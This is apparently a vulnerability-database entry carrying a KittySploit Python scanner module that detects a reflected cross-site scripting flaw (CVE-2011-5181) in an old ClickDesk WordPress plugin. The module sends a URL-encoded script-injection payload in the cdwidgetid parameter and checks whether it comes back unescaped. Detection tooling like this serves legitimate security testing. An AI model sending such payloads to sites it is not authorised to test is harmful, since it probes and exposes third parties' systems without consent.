Lucene search
+L

ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Remote XSS in ClickDesk Live Support Live Chat 2.0 via the cdwidgetid parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2011-5181
23 Nov 201100:00
–circl
cve
CVE
CVE-2011-5181
20 Sep 201210:00
–cve
cvelist
Cvelist
CVE-2011-5181
20 Sep 201210:00
–cvelist
exploitdb
Exploit DB
WordPress Plugin ClickDesk Live Support 2.0 - 'cdwidget' Cross-Site Scripting
23 Nov 201100:00
–exploitdb
euvd
EUVD
EUVD-2011-5081
7 Oct 202500:30
–euvd
mend
Mend
CVE-2011-5181
20 Sep 201210:00
–mend
nuclei
Nuclei
ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting
16 Oct 202602:05
–nuclei
nvd
NVD
CVE-2011-5181
20 Sep 201210:55
–nvd
patchstack
Patchstack
WordPress ClickDesk Live Support Plugin 2.0 - Cross Site Scripting
23 Nov 201100:00
–patchstack
prion
Prion
Cross site scripting
20 Sep 201210:55
–prion
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A cross-site scripting vulnerability in clickdesk."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting Detection',
        'description': 'A cross-site scripting vulnerability in clickdesk.php in ClickDesk Live Support - Live Chat plugin 2.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the cdwidgetid parameter.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve2011', 'cve', 'wordpress', 'xss', 'wp-plugin', 'clickdesk', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2011-5181',
            'http://wordpress.org/extend/plugins/clickdesk-live-support-chat-plugin/changelog/',
            'https://exchange.xforce.ibmcloud.com/vulnerabilities/71469',
            'https://github.com/ARPSyndicate/kenzer-templates',
            'https://github.com/d4n-sec/d4n-sec.github.io',
        ],
        'cve': 'CVE-2011-5181',
    }

    def run(self):
        path = '/wp-content/plugins/clickdesk-live-support-chat/readme.txt'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('ClickDesk Live Support - Live Chat',)
        if not (any(m in body for m in body_any)):
            return False
        path = '/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('</script><script>alert(document.domain)</script>',)
        header_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(severity='medium', reason='ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.10428
1